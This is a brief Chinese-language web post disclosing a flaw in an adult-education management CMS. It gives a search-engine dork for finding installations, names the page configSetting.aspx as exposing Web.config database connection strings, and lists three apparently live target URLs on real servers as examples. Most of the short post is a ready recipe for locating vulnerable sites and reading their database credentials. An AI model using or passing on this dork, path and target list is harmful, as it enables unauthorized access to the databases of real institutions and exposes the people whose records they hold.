某成教管理CMS系统数据库连接信息泄露

来源:互联网 发布:linux 开源 编辑:程序博客网 时间:2024/04/19 18:20
百度或google关键字:intitle:成教管理系统

configSetting.aspx可以查看Web.config数据库连接信息


例子:

http://210.43.126.97:60177/webConfigSet/configSetting.aspx?url=/login/index.aspx

http://www.zscj.com.cn/jxjy/webConfigSet/configSetting.aspx?url=/login/index.aspx

http://210.43.0.25/webConfigSet/configSetting.aspx?url=/login/index.aspx


0 0